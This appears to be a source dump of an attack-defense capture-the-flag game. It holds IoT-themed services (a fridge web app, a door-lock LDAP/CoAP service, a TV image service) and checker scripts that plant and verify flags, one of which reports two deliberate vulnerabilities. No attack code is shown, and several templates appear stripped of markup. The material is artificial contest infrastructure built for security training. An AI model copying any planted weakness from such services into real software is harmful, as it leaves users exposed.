response = self.get_response(request) 30 | 31 | last_dump_time = cache.get('last_dump_time') 32 | # Run dump for models only 33 | # if last dump has been passed 5 seconds ago or more 34 | if (last_dump_time is None or 35 | (timezone.now() - last_dump_time).total_seconds() >= 5): 36 | cache.set('last_dump_time', timezone.now()) 37 | 38 | for model in DUMPED_MODELS: 39 | filename = os.path.join(settings.FRIDGE_DUMP_DIRECTORY, 40 | model._meta.db_table + '.csv') 41 | tmp_filename = (filename + '.' + 42 | str(random.randint(1, 9999)).rjust(4, '0')) 43 | try: 44 | dump_model_to_file(model, tmp_filename) 45 | 46 | # Try 5 times with pause 0.1 seconds 47 | for i in range(5): 48 | try: 49 | shutil.move(tmp_filename, filename) 50 | break 51 | except: 52 | if i == 4: 53 | raise 54 | time.sleep(0.1) 55 | except Exception as e: 56 | print(e) 57 | # Don't throw exception to the user, just wait next request 58 | cache.set('last_dump_time', last_dump_time) 59 | 60 | return response 61 | -------------------------------------------------------------------------------- /services/doorlock/ldap/slapd.d/cn=config/cn=schema/cn={4}doorlock.ldif: -------------------------------------------------------------------------------- 1 | # AUTO-GENERATED FILE - DO NOT EDIT!! Use ldapmodify. 2 | # CRC32 4261e5df 3 | dn: cn={4}doorlock 4 | objectClass: olcSchemaConfig 5 | cn: {4}doorlock 6 | olcAttributeTypes: {0}( 1.3.6.1.4.1.99.99.1.0 NAME 'lockId' DESC 'Lock Id' E 7 | QUALITY caseIgnoreMatch ORDERING caseIgnoreOrderingMatch SUBSTR caseIgnoreS 8 | ubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15{32} ) 9 | olcAttributeTypes: {1}( 1.3.6.1.4.1.99.99.1.1 NAME 'lockModel' DESC 'Lock Mo 10 | del' EQUALITY caseIgnoreMatch ORDERING caseIgnoreOrderingMatch SUBSTR caseI 11 | gnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15{64} ) 12 | olcAttributeTypes: {2}( 1.3.6.1.4.1.99.99.1.2 NAME 'lockFloor' DESC 'Lock Fl 13 | oor' EQUALITY integerMatch ORDERING integerOrderingMatch SYNTAX 1.3.6.1.4.1 14 | .1466.115.121.1.27 ) 15 | olcAttributeTypes: {3}( 1.3.6.1.4.1.99.99.1.3 NAME 'lockRoom' DESC 'Lock Roo 16 | m' EQUALITY integerMatch ORDERING integerOrderingMatch SYNTAX 1.3.6.1.4.1.1 17 | 466.115.121.1.27 ) 18 | olcAttributeTypes: {4}( 1.3.6.1.4.1.99.99.1.4 NAME 'cardTag' DESC 'RFID Acce 19 | ss Card Tag' EQUALITY caseIgnoreMatch ORDERING caseIgnoreOrderingMatch SUBS 20 | TR caseIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15{64} ) 21 | olcAttributeTypes: {5}( 1.3.6.1.4.1.99.99.1.5 NAME 'cardOwner' DESC 'RFID Ac 22 | cess Card Owner' EQUALITY caseIgnoreMatch ORDERING caseIgnoreOrderingMatch 23 | SUBSTR caseIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15{256} 24 | ) 25 | olcAttributeTypes: {6}( 1.3.6.1.4.1.99.99.1.6 NAME 'timestamp' DESC 'Timesta 26 | mp' EQUALITY generalizedTimeMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.24 ) 27 | olcObjectClasses: {0}( 1.3.6.1.4.1.99.99.2.1 NAME 'lockObject' DESC 'Door Lo 28 | ck Object' SUP top AUXILIARY MUST lockModel MAY ( lockFloor $ lockRoom $ ti 29 | mestamp ) ) 30 | olcObjectClasses: {1}( 1.3.6.1.4.1.99.99.2.2 NAME 'cardObject' DESC 'Access 31 | Card Object' SUP top AUXILIARY MUST ( lockId $ cardTag ) MAY ( cardOwner $ 32 | timestamp ) ) 33 | structuralObjectClass: olcSchemaConfig 34 | entryUUID: 1df0c368-c2f4-1036-9648-aff1bf41bfdc 35 | creatorsName: cn=config 36 | createTimestamp: 20170501195714Z 37 | entryCSN: 20170501195714.747043Z#000000#000#000000 38 | modifiersName: cn=config 39 | modifyTimestamp: 20170501195714Z 40 | -------------------------------------------------------------------------------- /services/doorlock/include/coap/debug.h: -------------------------------------------------------------------------------- 1 | /* 2 | * debug.h -- debug utilities 3 | * 4 | * Copyright (C) 2010-2011,2014 Olaf Bergmann 5 | * 6 | * This file is part of the CoAP library libcoap. Please see README for terms 7 | * of use. 8 | */ 9 | 10 | #ifndef _COAP_DEBUG_H_ 11 | #define _COAP_DEBUG_H_ 12 | 13 | #ifndef COAP_DEBUG_FD 14 | #define COAP_DEBUG_FD stdout 15 | #endif 16 | 17 | #ifndef COAP_ERR_FD 18 | #define COAP_ERR_FD stderr 19 | #endif 20 | 21 | #ifdef HAVE_SYSLOG_H 22 | #include 23 | typedef short coap_log_t; 24 | #else 25 | /** Pre-defined log levels akin to what is used in \b syslog. */ 26 | typedef enum { 27 | LOG_EMERG=0, 28 | LOG_ALERT, 29 | LOG_CRIT, 30 | LOG_ERR, 31 | LOG_WARNING, 32 | LOG_NOTICE, 33 | LOG_INFO, 34 | LOG_DEBUG 35 | } coap_log_t; 36 | #endif 37 | 38 | /** Returns the current log level. */ 39 | coap_log_t coap_get_log_level(void); 40 | 41 | /** Sets the log level to the specified value. */ 42 | void coap_set_log_level(coap_log_t level); 43 | 44 | /** Returns a zero-terminated string with the name of this library. */ 45 | const char *coap_package_name(void); 46 | 47 | /** Returns a zero-terminated string with the library version. */ 48 | const char *coap_package_version(void); 49 | 50 | /** 51 | * Writes the given text to @c COAP_ERR_FD (for @p level <= @c LOG_CRIT) or @c 52 | * COAP_DEBUG_FD (for @p level >= @c LOG_WARNING). The text is output only when 53 | * @p level is below or equal to the log level that set by coap_set_log_level(). 54 | */ 55 | void coap_log_impl(coap_log_t level, const char *format, ...); 56 | 57 | #ifndef coap_log 58 | #define coap_log(...) coap_log_impl(__VA_ARGS__) 59 | #endif 60 | 61 | #ifndef NDEBUG 62 | 63 | /* A set of convenience macros for common log levels. */ 64 | #define info(...) coap_log(LOG_INFO, __VA_ARGS__) 65 | #define warn(...) coap_log(LOG_WARNING, __VA_ARGS__) 66 | #define debug(...) coap_log(LOG_DEBUG, __VA_ARGS__) 67 | 68 | #include "pdu.h" 69 | void coap_show_pdu(const coap_pdu_t *); 70 | 71 | struct coap_address_t; 72 | size_t coap_print_addr(const struct coap_address_t *, unsigned char *, size_t); 73 | 74 | #else 75 | 76 | #define debug(...) 77 | #define info(...) 78 | #define warn(...) 79 | 80 | #define coap_show_pdu(x) 81 | #define coap_print_addr(...) 82 | 83 | #endif /* NDEBUG */ 84 | 85 | #endif /* _COAP_DEBUG_H_ */ 86 | -------------------------------------------------------------------------------- /services/tv/im/quantization-table.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | ]> 12 | 36 | 37 | 38 | Luma Quantization Table 39 | 40 | 16, 16, 16, 18, 25, 37, 56, 85, 41 | 16, 17, 20, 27, 34, 40, 53, 75, 42 | 16, 20, 24, 31, 43, 62, 91, 135, 43 | 18, 27, 31, 40, 53, 74, 106, 156, 44 | 25, 34, 43, 53, 69, 94, 131, 189, 45 | 37, 40, 62, 74, 94, 124, 169, 238, 46 | 56, 53, 91, 106, 131, 169, 226, 311, 47 | 85, 75, 135, 156, 189, 238, 311, 418 48 | 49 |
50 | 61 |
62 | 63 | -------------------------------------------------------------------------------- /services/doorlock/include/coap/bits.h: -------------------------------------------------------------------------------- 1 | /* 2 | * bits.h -- bit vector manipulation 3 | * 4 | * Copyright (C) 2010-2011 Olaf Bergmann 5 | * 6 | * This file is part of the CoAP library libcoap. Please see README for terms 7 | * of use. 8 | */ 9 | 10 | /** 11 | * @file bits.h 12 | * @brief Bit vector manipulation 13 | */ 14 | 15 | #ifndef _COAP_BITS_H_ 16 | #define _COAP_BITS_H_ 17 | 18 | #include 19 | 20 | /** 21 | * Sets the bit @p bit in bit-vector @p vec. This function returns @c 1 if bit 22 | * was set or @c -1 on error (i.e. when the given bit does not fit in the 23 | * vector). 24 | * 25 | * @param vec The bit-vector to change. 26 | * @param size The size of @p vec in bytes. 27 | * @param bit The bit to set in @p vec. 28 | * 29 | * @return @c -1 if @p bit does not fit into @p vec, @c 1 otherwise. 30 | */ 31 | inline static int 32 | bits_setb(uint8_t *vec, size_t size, uint8_t bit) { 33 | if (size <= (bit >> 3)) 34 | return -1; 35 | 36 | *(vec + (bit >> 3)) |= (uint8_t)(1 << (bit & 0x07)); 37 | return 1; 38 | } 39 | 40 | /** 41 | * Clears the bit @p bit from bit-vector @p vec. This function returns @c 1 if 42 | * bit was cleared or @c -1 on error (i.e. when the given bit does not fit in 43 | * the vector). 44 | * 45 | * @param vec The bit-vector to change. 46 | * @param size The size of @p vec in bytes. 47 | * @param bit The bit to clear from @p vec. 48 | * 49 | * @return @c -1 if @p bit does not fit into @p vec, @c 1 otherwise. 50 | */ 51 | inline static int 52 | bits_clrb(uint8_t *vec, size_t size, uint8_t bit) { 53 | if (size <= (bit >> 3)) 54 | return -1; 55 | 56 | *(vec + (bit >> 3)) &= (uint8_t)(~(1 << (bit & 0x07))); 57 | return 1; 58 | } 59 | 60 | /** 61 | * Gets the status of bit @p bit from bit-vector @p vec. This function returns 62 | * @c 1 if the bit is set, @c 0 otherwise (even in case of an error). 63 | * 64 | * @param vec The bit-vector to read from. 65 | * @param size The size of @p vec in bytes. 66 | * @param bit The bit to get from @p vec. 67 | * 68 | * @return @c 1 if the bit is set, @c 0 otherwise. 69 | */ 70 | inline static int 71 | bits_getb(const uint8_t *vec, size_t size, uint8_t bit) { 72 | if (size <= (bit >> 3)) 73 | return -1; 74 | 75 | return (*(vec + (bit >> 3)) & (1 << (bit & 0x07))) != 0; 76 | } 77 | 78 | #endif /* _COAP_BITS_H_ */ 79 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/templates/refrigerator/recipe.html: -------------------------------------------------------------------------------- 1 | {% extends 'layout.html' %} 2 | 3 | {% load dict %} 4 | {% load bootstrap %} 5 | 6 | {% block content %} 7 |
8 |
9 |

10 | {{ recipe.title|truncatechars:40 }} 11 |

12 |

13 | {{ recipe.description|linebreaksbr }} 14 |

15 | 16 | {% for recipe_item in recipe.items.all %} 17 |

18 | {{ forloop.counter }}. {{ recipe_item.food_type }} ({{ recipe_item.count }} {{ Unit.values|get_item:recipe_item.food_type.unit|lower }}) 19 |

20 |
21 | {{ recipe_item.what_to_do|linebreaks }} 22 | {% if recipe_item.pause_after %} 23 |

24 | And wait for {{ recipe_item.pause_after }} second{{ recipe_item.pause_after|pluralize }} 25 |

26 | {% endif %} 27 |
28 | {% endfor %} 29 | 30 |
31 | 32 | 33 |
34 |
35 | 36 | 57 | {% endblock %} -------------------------------------------------------------------------------- /services/doorlock/include/coap/subscribe.h: -------------------------------------------------------------------------------- 1 | /* 2 | * subscribe.h -- subscription handling for CoAP 3 | * see draft-ietf-core-observe-16 4 | * 5 | * Copyright (C) 2010-2012,2014-2015 Olaf Bergmann 6 | * 7 | * This file is part of the CoAP library libcoap. Please see README for terms 8 | * of use. 9 | */ 10 | 11 | 12 | #ifndef _COAP_SUBSCRIBE_H_ 13 | #define _COAP_SUBSCRIBE_H_ 14 | 15 | #include "address.h" 16 | #include "coap_io.h" 17 | 18 | /** 19 | * @defgroup observe Resource observation 20 | * @{ 21 | */ 22 | 23 | /** 24 | * The value COAP_OBSERVE_ESTABLISH in a GET request indicates a new observe 25 | * relationship for (sender address, token) is requested. 26 | */ 27 | #define COAP_OBSERVE_ESTABLISH 0 28 | 29 | /** 30 | * The value COAP_OBSERVE_CANCEL in a GET request indicates that the observe 31 | * relationship for (sender address, token) must be cancelled. 32 | */ 33 | #define COAP_OBSERVE_CANCEL 1 34 | 35 | #ifndef COAP_OBS_MAX_NON 36 | /** 37 | * Number of notifications that may be sent non-confirmable before a confirmable 38 | * message is sent to detect if observers are alive. The maximum allowed value 39 | * here is @c 15. 40 | */ 41 | #define COAP_OBS_MAX_NON 5 42 | #endif /* COAP_OBS_MAX_NON */ 43 | 44 | #ifndef COAP_OBS_MAX_FAIL 45 | /** 46 | * Number of confirmable notifications that may fail (i.e. time out without 47 | * being ACKed) before an observer is removed. The maximum value for 48 | * COAP_OBS_MAX_FAIL is @c 3. 49 | */ 50 | #define COAP_OBS_MAX_FAIL 3 51 | #endif /* COAP_OBS_MAX_FAIL */ 52 | 53 | /** Subscriber information */ 54 | typedef struct coap_subscription_t { 55 | struct coap_subscription_t *next; /**< next element in linked list */ 56 | coap_endpoint_t local_if; /**< local communication interface */ 57 | coap_address_t subscriber; /**< address and port of subscriber */ 58 | 59 | unsigned int non_cnt:4; /**< up to 15 non-confirmable notifies allowed */ 60 | unsigned int fail_cnt:2; /**< up to 3 confirmable notifies can fail */ 61 | unsigned int dirty:1; /**< set if the notification temporarily could not be 62 | * sent (in that case, the resource's partially 63 | * dirty flag is set too) */ 64 | size_t token_length; /**< actual length of token */ 65 | unsigned char token[8]; /**< token used for subscription */ 66 | } coap_subscription_t; 67 | 68 | void coap_subscription_init(coap_subscription_t *); 69 | 70 | /** @} */ 71 | 72 | #endif /* _COAP_SUBSCRIBE_H_ */ 73 | -------------------------------------------------------------------------------- /services/fridge/web/templates/registration/login.html: -------------------------------------------------------------------------------- 1 | {% extends 'layout.html' %} 2 | 3 | {% load bootstrap %} 4 | 5 | {% block content %} 6 | {% include '_jumbotron.html' %} 7 | 8 | 29 | 30 | 51 | {% endblock %} 52 | 53 | {% block scripts %} 54 | {% if registration_form.errors %} 55 | $('#registration-modal').modal('show'); 56 | {% elif form.errors %} 57 | $('#login-modal').modal('show'); 58 | {% endif %} 59 | {% endblock %} -------------------------------------------------------------------------------- /services/doorlock/ldap/doorlock.schema: -------------------------------------------------------------------------------- 1 | # doorlock.schema -- Doorlock Objects Schema 2 | 3 | attributetype ( 1.3.6.1.4.1.99.99.1.0 4 | NAME 'lockId' 5 | DESC 'Lock Id' 6 | EQUALITY caseIgnoreMatch 7 | SUBSTR caseIgnoreSubstringsMatch 8 | ORDERING caseIgnoreOrderingMatch 9 | SYNTAX 1.3.6.1.4.1.1466.115.121.1.15{32} ) # DirectoryString 10 | 11 | attributetype ( 1.3.6.1.4.1.99.99.1.1 12 | NAME 'lockModel' 13 | DESC 'Lock Model' 14 | EQUALITY caseIgnoreMatch 15 | SUBSTR caseIgnoreSubstringsMatch 16 | ORDERING caseIgnoreOrderingMatch 17 | SYNTAX 1.3.6.1.4.1.1466.115.121.1.15{64} ) # DirectoryString 18 | 19 | attributetype ( 1.3.6.1.4.1.99.99.1.2 20 | NAME 'lockFloor' 21 | DESC 'Lock Floor' 22 | EQUALITY integerMatch 23 | ORDERING integerOrderingMatch 24 | SYNTAX 1.3.6.1.4.1.1466.115.121.1.27 ) # Integer 25 | 26 | attributetype ( 1.3.6.1.4.1.99.99.1.3 27 | NAME 'lockRoom' 28 | DESC 'Lock Room' 29 | EQUALITY integerMatch 30 | ORDERING integerOrderingMatch 31 | SYNTAX 1.3.6.1.4.1.1466.115.121.1.27 ) # Integer 32 | 33 | attributetype ( 1.3.6.1.4.1.99.99.1.4 34 | NAME 'cardTag' 35 | DESC 'RFID Access Card Tag' 36 | EQUALITY caseIgnoreMatch 37 | SUBSTR caseIgnoreSubstringsMatch 38 | ORDERING caseIgnoreOrderingMatch 39 | SYNTAX 1.3.6.1.4.1.1466.115.121.1.15{64} ) # DirectoryString 40 | 41 | attributetype ( 1.3.6.1.4.1.99.99.1.5 42 | NAME 'cardOwner' 43 | DESC 'RFID Access Card Owner' 44 | EQUALITY caseIgnoreMatch 45 | SUBSTR caseIgnoreSubstringsMatch 46 | ORDERING caseIgnoreOrderingMatch 47 | SYNTAX 1.3.6.1.4.1.1466.115.121.1.15{256} ) # DirectoryString 48 | 49 | attributetype ( 1.3.6.1.4.1.99.99.1.6 50 | NAME 'timestamp' 51 | DESC 'Timestamp' 52 | EQUALITY generalizedTimeMatch 53 | SYNTAX 1.3.6.1.4.1.1466.115.121.1.24 ) # GeneralizedTime 54 | 55 | objectClass ( 1.3.6.1.4.1.99.99.2.1 56 | NAME 'lockObject' 57 | DESC 'Door Lock Object' 58 | SUP top 59 | AUXILIARY 60 | MUST ( lockModel ) 61 | MAY ( lockFloor $ lockRoom $ timestamp ) ) 62 | 63 | objectClass ( 1.3.6.1.4.1.99.99.2.2 64 | NAME 'cardObject' 65 | DESC 'Access Card Object' 66 | SUP top 67 | AUXILIARY 68 | MUST ( lockId $ cardTag) 69 | MAY ( cardOwner $ timestamp ) ) 70 | -------------------------------------------------------------------------------- /services/doorlock/include/coap/prng.h: -------------------------------------------------------------------------------- 1 | /* 2 | * prng.h -- Pseudo Random Numbers 3 | * 4 | * Copyright (C) 2010-2011 Olaf Bergmann 5 | * 6 | * This file is part of the CoAP library libcoap. Please see README for terms 7 | * of use. 8 | */ 9 | 10 | /** 11 | * @file prng.h 12 | * @brief Pseudo Random Numbers 13 | */ 14 | 15 | #ifndef _COAP_PRNG_H_ 16 | #define _COAP_PRNG_H_ 17 | 18 | /** 19 | * @defgroup prng Pseudo Random Numbers 20 | * @{ 21 | */ 22 | 23 | #if defined(WITH_POSIX) || (defined(WITH_LWIP) && !defined(LWIP_RAND)) 24 | #include 25 | 26 | /** 27 | * Fills \p buf with \p len random bytes. This is the default implementation for 28 | * prng(). You might want to change prng() to use a better PRNG on your specific 29 | * platform. 30 | */ 31 | static inline int 32 | coap_prng_impl(unsigned char *buf, size_t len) { 33 | while (len--) 34 | *buf++ = rand() & 0xFF; 35 | return 1; 36 | } 37 | #endif /* WITH_POSIX */ 38 | 39 | #ifdef WITH_CONTIKI 40 | #include 41 | 42 | /** 43 | * Fills \p buf with \p len random bytes. This is the default implementation for 44 | * prng(). You might want to change prng() to use a better PRNG on your specific 45 | * platform. 46 | */ 47 | static inline int 48 | contiki_prng_impl(unsigned char *buf, size_t len) { 49 | unsigned short v = random_rand(); 50 | while (len > sizeof(v)) { 51 | memcpy(buf, &v, sizeof(v)); 52 | len -= sizeof(v); 53 | buf += sizeof(v); 54 | v = random_rand(); 55 | } 56 | 57 | memcpy(buf, &v, len); 58 | return 1; 59 | } 60 | 61 | #define prng(Buf,Length) contiki_prng_impl((Buf), (Length)) 62 | #define prng_init(Value) random_init((unsigned short)(Value)) 63 | #endif /* WITH_CONTIKI */ 64 | 65 | #if defined(WITH_LWIP) && defined(LWIP_RAND) 66 | static inline int 67 | lwip_prng_impl(unsigned char *buf, size_t len) { 68 | u32_t v = LWIP_RAND(); 69 | while (len > sizeof(v)) { 70 | memcpy(buf, &v, sizeof(v)); 71 | len -= sizeof(v); 72 | buf += sizeof(v); 73 | v = LWIP_RAND(); 74 | } 75 | 76 | memcpy(buf, &v, len); 77 | return 1; 78 | } 79 | 80 | #define prng(Buf,Length) lwip_prng_impl((Buf), (Length)) 81 | #define prng_init(Value) 82 | 83 | #endif /* WITH_LWIP */ 84 | 85 | #ifndef prng 86 | /** 87 | * Fills \p Buf with \p Length bytes of random data. 88 | * 89 | * @hideinitializer 90 | */ 91 | #define prng(Buf,Length) coap_prng_impl((Buf), (Length)) 92 | #endif 93 | 94 | #ifndef prng_init 95 | /** 96 | * Called to set the PRNG seed. You may want to re-define this to allow for a 97 | * better PRNG. 98 | * 99 | * @hideinitializer 100 | */ 101 | #define prng_init(Value) srand((unsigned long)(Value)) 102 | #endif 103 | 104 | /** @} */ 105 | 106 | #endif /* _COAP_PRNG_H_ */ 107 | -------------------------------------------------------------------------------- /services/fridge/web/templates/bootstrapform/field.html: -------------------------------------------------------------------------------- 1 | {% load bootstrap %} 2 | 3 |
4 | {% if field|is_checkbox %} 5 |
6 |
7 | {% if field.auto_id %} 8 | 11 | {% endif %} 12 | {% for error in field.errors %} 13 | {{ error }} 14 | {% endfor %} 15 | 16 | {% if field.help_text %} 17 |

18 | {{ field.help_text|safe }} 19 |

20 | {% endif %} 21 |
22 |
23 | {% elif field|is_radio %} 24 | {% if field.auto_id %} 25 | 26 | {% endif %} 27 |
28 | {% for choice in field %} 29 |
30 | 34 |
35 | {% endfor %} 36 | 37 | {% for error in field.errors %} 38 | {{ error }} 39 | {% endfor %} 40 | 41 | {% if field.help_text %} 42 |

43 | {{ field.help_text|safe }} 44 |

45 | {% endif %} 46 |
47 | {% else %} 48 | {% if field.auto_id %} 49 | 50 | {% endif %} 51 | 52 |
53 | {{ field }} 54 | 55 | {% for error in field.errors %} 56 | {{ error }} 57 | {% endfor %} 58 | 59 | {% if field.help_text %} 60 |
61 | {{ field.help_text|safe }} 62 |
63 | {% endif %} 64 |
65 | {% endif %} 66 |
67 | -------------------------------------------------------------------------------- /services/doorlock/ldap/slapd.d/cn=config/cn=schema/cn={3}inetorgperson.ldif: -------------------------------------------------------------------------------- 1 | # AUTO-GENERATED FILE - DO NOT EDIT!! Use ldapmodify. 2 | # CRC32 c853dffb 3 | dn: cn={3}inetorgperson 4 | objectClass: olcSchemaConfig 5 | cn: {3}inetorgperson 6 | olcAttributeTypes: {0}( 2.16.840.1.113730.3.1.1 NAME 'carLicense' DESC 'RFC2 7 | 798: vehicle license or registration plate' EQUALITY caseIgnoreMatch SUBSTR 8 | caseIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) 9 | olcAttributeTypes: {1}( 2.16.840.1.113730.3.1.2 NAME 'departmentNumber' DESC 10 | 'RFC2798: identifies a department within an organization' EQUALITY caseIgn 11 | oreMatch SUBSTR caseIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1 12 | .15 ) 13 | olcAttributeTypes: {2}( 2.16.840.1.113730.3.1.241 NAME 'displayName' DESC 'R 14 | FC2798: preferred name to be used when displaying entries' EQUALITY caseIgn 15 | oreMatch SUBSTR caseIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1 16 | .15 SINGLE-VALUE ) 17 | olcAttributeTypes: {3}( 2.16.840.1.113730.3.1.3 NAME 'employeeNumber' DESC ' 18 | RFC2798: numerically identifies an employee within an organization' EQUALIT 19 | Y caseIgnoreMatch SUBSTR caseIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466. 20 | 115.121.1.15 SINGLE-VALUE ) 21 | olcAttributeTypes: {4}( 2.16.840.1.113730.3.1.4 NAME 'employeeType' DESC 'RF 22 | C2798: type of employment for a person' EQUALITY caseIgnoreMatch SUBSTR cas 23 | eIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.15 ) 24 | olcAttributeTypes: {5}( 0.9.2342.19200300.100.1.60 NAME 'jpegPhoto' DESC 'RF 25 | C2798: a JPEG image' SYNTAX 1.3.6.1.4.1.1466.115.121.1.28 ) 26 | olcAttributeTypes: {6}( 2.16.840.1.113730.3.1.39 NAME 'preferredLanguage' DE 27 | SC 'RFC2798: preferred written or spoken language for a person' EQUALITY ca 28 | seIgnoreMatch SUBSTR caseIgnoreSubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115. 29 | 121.1.15 SINGLE-VALUE ) 30 | olcAttributeTypes: {7}( 2.16.840.1.113730.3.1.40 NAME 'userSMIMECertificate' 31 | DESC 'RFC2798: PKCS#7 SignedData used to support S/MIME' SYNTAX 1.3.6.1.4. 32 | 1.1466.115.121.1.5 ) 33 | olcAttributeTypes: {8}( 2.16.840.1.113730.3.1.216 NAME 'userPKCS12' DESC 'RF 34 | C2798: personal identity information, a PKCS #12 PFX' SYNTAX 1.3.6.1.4.1.14 35 | 66.115.121.1.5 ) 36 | olcObjectClasses: {0}( 2.16.840.1.113730.3.2.2 NAME 'inetOrgPerson' DESC 'RF 37 | C2798: Internet Organizational Person' SUP organizationalPerson STRUCTURAL 38 | MAY ( audio $ businessCategory $ carLicense $ departmentNumber $ displayNam 39 | e $ employeeNumber $ employeeType $ givenName $ homePhone $ homePostalAddre 40 | ss $ initials $ jpegPhoto $ labeledURI $ mail $ manager $ mobile $ o $ page 41 | r $ photo $ roomNumber $ secretary $ uid $ userCertificate $ x500uniqueIden 42 | tifier $ preferredLanguage $ userSMIMECertificate $ userPKCS12 ) ) 43 | structuralObjectClass: olcSchemaConfig 44 | entryUUID: 1df0bb8e-c2f4-1036-9647-aff1bf41bfdc 45 | creatorsName: cn=config 46 | createTimestamp: 20170501195714Z 47 | entryCSN: 20170501195714.747043Z#000000#000#000000 48 | modifiersName: cn=config 49 | modifyTimestamp: 20170501195714Z 50 | -------------------------------------------------------------------------------- /checkers/thermometer/thermometer.cheker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import traceback 5 | from thermometer_module import ThermometerModule 6 | from mqtt_client import MqttClient 7 | 8 | OK, CORRUPT, MUMBLE, DOWN, CHECKER_ERROR = 101, 102, 103, 104, 110 9 | 10 | def trace(message): 11 | print(message, file=sys.stderr) 12 | 13 | def verdict(exit_code, public="", private=""): 14 | if public: 15 | print(public) 16 | if private: 17 | print(private, file=sys.stderr) 18 | sys.exit(exit_code) 19 | 20 | def info(): 21 | verdict(OK, "vulns: 2:8") 22 | 23 | def check(args): 24 | if len(args) != 1: 25 | verdict(CHECKER_ERROR, "Wrong args count", "Wrong args count for check()") 26 | host = args[0] 27 | trace("check(%s)" % host) 28 | 29 | module_client = ThermometerModule(host) 30 | result = module_client.check_index() 31 | if result != OK: 32 | sys.exit(result) 33 | 34 | mqtt_client = MqttClient(host) 35 | sys.exit(mqtt_client.check_connect()) 36 | 37 | def put(args): 38 | if len(args) != 4: 39 | verdict(CHECKER_ERROR, "Wrong args count", "Wrong args count for put()") 40 | host, flag_id, flag_data, vuln = args 41 | trace("put(%s, %s, %s, %s)" % (host, flag_id, flag_data, vuln)) 42 | 43 | if vuln == "1": 44 | mqtt_client = MqttClient(host) 45 | result = mqtt_client.register_sensor(flag_id) 46 | if result != OK: 47 | sys.exit(result) 48 | 49 | module_client = ThermometerModule(host) 50 | sys.exit(module_client.authorize_sensor(flag_id, flag_data)) 51 | 52 | if vuln == "2": 53 | module_client = ThermometerModule(host) 54 | sys.exit(module_client.create_mqtt_client(username=flag_id, password=flag_data)) 55 | 56 | verdict(CHECKER_ERROR, "Unknown vuln number for put()", "Unknown vuln number '%s' for put" % vuln) 57 | 58 | def get(args): 59 | if len(args) != 4: 60 | verdict(CHECKER_ERROR, "Wrong args count", "Wrong args count for get()") 61 | host, flag_id, flag_data, vuln = args 62 | trace("get(%s, %s, %s, %s)" % (host, flag_id, flag_data, vuln)) 63 | 64 | mqtt_client = MqttClient(host) 65 | sys.exit(mqtt_client.check_connect(username=flag_id, password=flag_data)) 66 | 67 | def main(args): 68 | if len(args) == 0: 69 | verdict(CHECKER_ERROR, "No args") 70 | try: 71 | if args[0] == "info": 72 | info() 73 | elif args[0] == "check": 74 | check(args[1:]) 75 | elif args[0] == "put": 76 | put(args[1:]) 77 | elif args[0] == "get": 78 | get(args[1:]) 79 | else: 80 | verdict(CHECKER_ERROR, "Checker error", "Wrong action: " + args[0]) 81 | except Exception as e: 82 | verdict(DOWN, "Down", "Exception: %s" % traceback.format_exc()) 83 | 84 | if __name__ == "__main__": 85 | try: 86 | main(sys.argv[1:]) 87 | verdict(CHECKER_ERROR, "Checker error (NV)", "No verdict") 88 | except Exception as e: 89 | verdict(CHECKER_ERROR, "Checker error (CE)", "Exception: %s" % e) 90 | -------------------------------------------------------------------------------- /services/tv/im/policy.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | ]> 11 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | -------------------------------------------------------------------------------- /checkers/fridge/checklib/http.py: -------------------------------------------------------------------------------- 1 | import checklib 2 | import checklib.utils 3 | import checklib.random 4 | import logging 5 | import requests 6 | 7 | 8 | def build_main_url(fn): 9 | def wrapper(self, address, *args, **kwargs): 10 | self.main_url = '%s://%s:%d' % (self.proto, address, self.port) 11 | return fn(self, address, *args, **kwargs) 12 | wrapper.__name__ = fn.__name__ 13 | wrapper.__doc__ = fn.__doc__ 14 | return wrapper 15 | 16 | 17 | # noinspection PyPep8Naming 18 | class default_param: 19 | def __init__(self, name, value): 20 | self.name = name 21 | self.value = value 22 | 23 | def __call__(self, fn): 24 | def wrapper(*args, **kwargs): 25 | if isinstance(self.value, dict): 26 | kwargs[self.name] = checklib.utils.merge_dicts(self.value, kwargs.get(self.name, {})) 27 | logging.info('Auto-configure default dict-like param "%s": %s', self.name, kwargs[self.name]) 28 | else: 29 | kwargs[self.name] = kwargs.get(self.name, self.value) 30 | logging.info('Auto-configure default param "%s": %s', self.name, kwargs[self.name]) 31 | return fn(*args, **kwargs) 32 | wrapper.__name__ = fn.__name__ 33 | wrapper.__doc__ = fn.__doc__ 34 | return wrapper 35 | 36 | 37 | class HttpChecker(checklib.Checker): 38 | port = 80 39 | proto = 'http' 40 | 41 | def __init__(self): 42 | super().__init__() 43 | logging.info('Created requests session') 44 | self._session = requests.Session() 45 | 46 | def _check_response(self, response): 47 | if response.status_code >= 400: 48 | self.exit( 49 | checklib.StatusCode.DOWN, 50 | 'Got HTTP status code %d on %s' % (response.status_code, response.url) 51 | ) 52 | if response.status_code != 200: 53 | self.exit( 54 | checklib.StatusCode.MUMBLE, 55 | 'Got HTTP status code %d on %s' % (response.status_code, response.url) 56 | ) 57 | return response 58 | 59 | @default_param('headers', {'User-Agent': checklib.random.useragent()}) 60 | def try_http_get(self, url, *args, **kwargs): 61 | return self._check_response(self._session.get(url, *args, **kwargs)) 62 | 63 | @default_param('headers', {'User-Agent': checklib.random.useragent()}) 64 | def try_http_post(self, url, 